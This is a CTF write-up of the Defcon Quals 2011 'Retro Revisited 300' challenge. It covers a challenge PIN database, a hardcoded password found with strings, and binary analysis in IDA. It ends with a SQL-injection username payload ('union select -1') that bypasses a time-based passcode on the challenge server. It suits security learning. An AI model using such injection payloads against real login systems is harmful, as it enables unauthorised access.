Destination: Defcon CTF Quals 2011 - Retro Revisited 300 Your tour guides: p4fg & fLa [vImeDhuSocHbarN] Intro ===== This is a very quick writeup, if you are from Sweden you can take a look at our team-name and try to guess why now is not really the best time to write in-depth writeups... ;-) Files ===== File: rr3001d8bcd25d1849ac5a unpacking this gives us: retro300 (ELF 32-bit Intel 80386 for GNU/Linux 2.6.32) auth.db (sqlite3 database) # sqlite3 auth.db SQLite version 3.5.9 Enter ".help" for instructions sqlite> .dump users BEGIN TRANSACTION; CREATE TABLE users (id INTEGER PRIMARY KEY, user TEXT, pin TEXT); INSERT INTO "users" VALUES(1,'aaron','7345'); INSERT INTO "users" VALUES(2,'dave','3245'); INSERT INTO "users" VALUES(3,'bob','8367'); INSERT INTO "users" VALUES(4,'joe','8305'); INSERT INTO "users" VALUES(5,'vulcan','2945'); INSERT INTO "users" VALUES(6,'merc','2345'); INSERT INTO "users" VALUES(7,'mars','3473'); INSERT INTO "users" VALUES(8,'jupi','1234'); INSERT INTO "users" VALUES(9,'jeff','1315'); COMMIT; Where to start? =============== In order to start playing with the service we need a password.. A quick peek in the binary using strings reveals a good candiate "letmeinpls" which turns out is the password to continue. We also notice from the strings output that the SQL statement for authentication could be vulnerable for a SQL-injection attack, more on that later... select id,pin from users where user='%s' Binary analysis =============== Firing up IDA lets us know a few things about the execution flow of this binary: * Passcode needs to be 14 characters long. * No sanity checking on the username is performed * There are two hidden menu options: '8' and '9'. '8' will display the key and '9' will display our favourite animal... * The extra 10 characters in the passcode after the actual PIN is calculated in a really annoying way based on the number of 10 minute increments since 2009-03-16 00:00:00 or something, and is then multiplied with the id in the db plus one and padded to 10 characters with leading zeroes. * Different errorcodes are printed based on how far into the code you get: "Bad Username or Pin" will be displayed if you fail the username/pin db-check. "Bad Username or Passcode" will be displayed if the 10 last characters in the passcode is wrong. What about that SQL-injection? ============================== After testing a bit we found that we could get past the first check of username and four-digit PIN with a old-school SQL-injection. using a username such as randomcrap' union select 123,'1234 translates internally to select id,pin from users where user='randomcrap' union select 123,'1234' Using this and the different errormessages we found ourselves trying to crack the last 10 digits which are time-based and user-id dependant. The last 10 digits ================== The time-based calculation for the last 10 digits in the passcode was a bit annoying and time-consuming to crack so we decided to bypass it completely with our newly found SQL-injection. Remember the calculation is multiplied with the id in the db plus one. Lessons to learn here: (-1) + 1 = 0 (Thanks fLa for pointing that out) 0 x stupid_ddtek_algorithm_output = 0 Moment of triumph ================= # nc pwn512.ddtek.biz 5500 letmeinpls _____ ______ _____ _ _ __ ____ __ / ____| ____/ ____(_) | | ____/ /___/ / /____ / /__ | (___ | |__ | | _ __| | / __ / __ / __/ _ \/ //_/ \___ \| __|| | | |/ _` | / /_/ / /_/ / /_/ __/ ,< ____) | |___| |____| | (_| | \__,_/\__,_/\__/\___/_/|_| |_____/|______\_____|_|\__,_| (beta) ( cause everyone is looking for a new provider right?!) Username:x' union select -1,'0000 Passcode:00000000000000 DDTEK VPN console Choose an option: 1: change pin 2: re-sync sec token 3: add user 4: change username 5: exit 8 lookheedsurLovesemsumAPT